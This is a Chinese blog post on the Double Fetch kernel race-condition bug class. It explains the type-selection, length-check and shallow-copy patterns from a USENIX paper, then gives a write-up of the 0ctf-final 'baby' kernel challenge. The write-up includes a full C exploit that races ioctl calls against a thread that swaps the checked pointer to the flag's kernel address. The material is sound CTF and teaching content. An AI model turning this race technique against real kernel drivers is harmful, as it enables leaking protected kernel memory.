首页 > 其他分享 >条件竞争漏洞Double Fetch

条件竞争漏洞Double Fetch

时间:2023-08-10 13:44:10浏览次数:36  
标签:addr Double 漏洞 flag 拷贝 data Fetch

前言

Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

Double Fetch

Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。

image-20230713134722390

论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。

image-20230713140815577

作者根据Double Fetch发生的场景,并将其进行分类

  • 类型选择

  • 长度检查

  • 浅拷贝

类型选择

类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch

image-20230713142023576

长度选择

长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_userarg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。

image-20230713143534035

浅拷贝

浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。

image-20230713144330557

举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。

未命名文件

总结一下Double Fetch的利用流程

  • 内核会从用户空间中获取数据,并且会两次获取相同空间的数据

  • 在两次获取的过程中没有检测获取的数据是否一致

  • 最后在两次获取的过程中,篡改该空间的数据

20180ctf-final-baby

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。

image-20230713151512178

接着看校验函数,该函数很简单,接受三个参数,a1a2a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过&current_task中获取的。

image-20230713151905552

可以发现从&current_task中获取的地址为0x7ffffffff000

image-20230713153756972

下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。

image-20230713154124891

这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。

image-20230713154417553

那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测

  • 检查传入的地址是否为用户空间的地址

  • 检查传入的地址的内容的值是否为用户空间的地址

  • 检查传入的长度是否与flag的长度一致

总的来说从用户空间中我们传入了一个结构体

typedef struct
{
    char *flag_addr;
    unsigned long flag_len;
};

image-20230713154600216

可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch

利用的思路如下

  • 在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf

  • 而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag

那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可

...
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...

具体流程如下图,这里用线程的原因

  • 主线程与子线程异步执行

  • 线程之间共享内存信息

因此可以利用其他线程去修改共享的内存

未命名文件 (1)

完整exp

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
​
#define MAXSIZE 1024
#define MAXTIME 1000000
​
unsigned long target_addr;
int finish;
typedef struct 
{
    char* flag_addr;
    unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;
​
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
​
​
int main()
{
    fd = open("/dev/baby", O_RDWR);
    __asm(
        ".intel_syntax noprefix;"
        "mov rax, 0x10;"
        "mov rdi, fd;"
        "mov rsi, 0x6666;"
        "syscall;"
        ".att_syntax;"
    );  
    
    char buf[MAXSIZE];
    char *target;
    int count;
    int flag = open("/dev/kmsg", O_RDONLY);
    if (flag == -1)
        printf("open dmesg error");
    while ((count = read(flag, buf, MAXSIZE)) > 0)
    {
        if ((target = strstr(buf, "Your flag is at ")) > 0)
        {
            target = target + strlen("Your flag is at ");
            char *temp = strstr(target, "!");
            target[temp - target] = 0;
            target_addr = strtoul(target, NULL, 16);
            printf("flag address:0x%s\n",target);
            printf("flag address:0x%lx\n", target_addr);
            break;
        }
    }   
    data_flag.flag_addr = buf;
    data_flag.flag_len = 33;
    pthread_t ntid;
    int err;
    err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);   
    for (int i = 0; i < MAXTIME; i++)
    {
        ioctl(fd, 0x1337, &data_flag);
        data_flag.flag_addr = buf;
        //printf("%d\n",i);
    }
    finish = 1;
    pthread_join(ntid, NULL);
    printf("end!");
    //system("dmesg | grep flag");
}

更多网安技能的在线实操练习,请点击这里>>

 

标签:addr,Double,漏洞,flag,拷贝,data,Fetch
From: https://www.cnblogs.com/hetianlab/p/17620122.html

相关文章

  • 聚焦Web前端安全:最新揭秘漏洞防御方法
    在Web安全中,服务端一直扮演着十分重要的角色。然而前端的问题也不容小觑,它也会导致信息泄露等诸如此类的问题。在这篇文章中,我们将向读者介绍如何防范Web前端中的各种漏洞。【万字长文,请先收藏再阅读】首先,我们需要了解安全防御产品已经为我们做了哪些工作。其次,我们将探讨前端......
  • rest风格——fetch发送请求
     服务器端代码有index.js和package.json 文件名index.jsconstexpress=require("express")constjwt=require("jsonwebtoken")constapp=express()letSTU_ARR=[{id:"1",name:"孙悟空",age:18,gender:"男&qu......
  • Thinkphp 5.0.23 远程代码执行漏洞
    漏洞简介ThinkPHP是一款运用极广的PHP开发框架。在ThinkPHP5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。漏洞复现开启vulhub靶场环境,确保ThinkPHP正常运行cdvulhub-master/thinkp......
  • goby poc漏洞库更新
    推荐一个github上的gobypoc,默认goby通用poc只有300来个,最新版的也只有326个。包含447个自定义goby-poc,是否含有后门和重复自行判断,如果无红队版,可直接poc管理处导入自定义poc即可,共计750个。下载地址为:https://github.com/MY0723/goby-poc然后打开goby进行POC漏洞库自定义加载加载......
  • Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
    Vulhub-Docker-Composefileforvulnerabilityenvironment1、介绍名称:WeblogicWLSCoreComponents反序列化命令执行漏洞(CVE-2018-2628)编号:CVE-2018-2628原理:应用:Weblogic 版本:Weblogic10.3.6.0,Weblogic12.1.3.0,Weblogic12.2.1.2,Weblogic12.2.1.32、测试2.......
  • nacos的 Spring Security 身份认证绕过漏洞
     检测出了这个漏洞,但是nacos官方还没有升级文档,所以只能自行下载源码对 Spring-security -config的版本进行调整 如图,对原先的需要进行排除然后在引入漏洞以外的版本,因为是自己修改的,不确定升级版本是否会有未知的隐患,所以对版本是进行了降级的操作,需要修改的POM文件有两......
  • SQL中fetch_array()和fetch_row()的区别
    相同点:两个的作用都是把查询结果的第一行返回到一个数组中。不同点:fetch_row()是通过数字索引取值。$res=mysqli_query($con,$sql);//返回资源$arr=mysqli_fetch_row($res);//查询的第一行结果赋值给$arrprint_r($arr);print_r($arr[0]);fetch_arroc()是通过关键字......
  • c#怎么样让double或者float保留2位小数
      我们都知道float的位数比较多但是转成Tostring显示时还是会截断并且四舍五入。如果我们要进行精密的计算时比如计算0.9999999如果被截断了结果就会变成1。这与我们的预期结果不相符。那么我们怎么才能随心所欲的设置小数位数。可以参考下面的例子。我们以设置小数位......
  • 文件包含漏洞
    1.基础介绍文件包含漏洞是指代码文件需要包含其他的代码文件而导致的漏洞。业务要求代码实现动态包含,并未对文件名和文件进行校验。文件包含一种是内容包含文件,把内容提取出来,其他文件用代码引用,修改文件只需要修改单独内容。另外一种是函数包含,某一页面用到常用函数功能,但是不需要......
  • 【新】通达OA前台反序列化漏洞分析
    0x01前言注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。通达OA作为历史上出现漏洞较多的OA,在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说通达OA是通过auth.inc.php文件来进行鉴权,如图1.1所示。整个通达全部的......